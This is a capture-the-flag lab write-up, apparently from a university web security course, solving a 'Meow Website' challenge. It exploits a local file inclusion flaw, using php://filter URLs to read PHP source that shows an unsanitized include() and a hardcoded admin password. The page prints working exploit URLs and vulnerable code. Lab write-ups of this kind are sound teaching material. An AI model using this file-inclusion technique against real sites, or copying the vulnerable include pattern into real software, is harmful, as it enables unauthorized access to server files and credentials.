Simple Web 0x08(Lab - My First Meow Website)
tags: NTUSTWS
CTF
Web
Challenge: http://h4ck3r.quest:8400/ Target: Login as Admin
Background
Exploit
- Observe
According to the URL,
http://h4ck3r.quest:8400/?page=inc/home
, it might haveLFI
problem. - Use
php://filter
to read pagehttp://h4ck3r.quest:8400/?page=php://filter/convert.base64-encode/resource=inc/home
:::spoiler page source code<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Meow</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.2/css/bulma.min.css"> </head> <body> <nav class="navbar is-dark" role="navigation" aria-label="main navigation"> <div class="navbar-brand"> <a class="navbar-item" href="/?page=inc/home">🐱</a> </div> <div id="navbarBasicExample" class="navbar-menu"> <div class="navbar-start"> <a class="navbar-item" href="/?page=inc/home"> Home </a> <a class="navbar-item" href="/?page=inc/about"> About </a> <a class="navbar-item" href="/admin.php"> Admin </a> </div> </div> </nav> <div class="container" style="margin-top: 1em;"> <?php if (isset($_GET['page'])) include($_GET['page'] . ".php"); else include("inc/home.php"); ?> </div> </body> </html>
:::
- Observe page source code
We know that
admin.php
is under/
directory.http://h4ck3r.quest:8400/?page=php://filter/convert.base64-encode/resource=admin
:::spoiler admin source code<h1>Admin Panel</h1> <form> <input type="text" name="username" value="admin"> <input type="password" name="password"> <input type="submit" value="Submit"> </form> <?php $admin_account = array("username" => "admin", "password" => "kqqPFObwxU8HYo8E5QgNLhdOxvZmtPhyBCyDxCwpvAQ"); if ( isset($_GET['username']) && isset($_GET['password']) && $_GET['username'] === $admin_account['username'] && $_GET['password'] === $admin_account['password'] ) { echo "<h1>LOGIN SUCCESS!</h1><p>".getenv('FLAG')."</p>"; } ?>
:::
- Then we get admin password is:
kqqPFObwxU8HYo8E5QgNLhdOxvZmtPhyBCyDxCwpvAQ
. Then we got flag!!!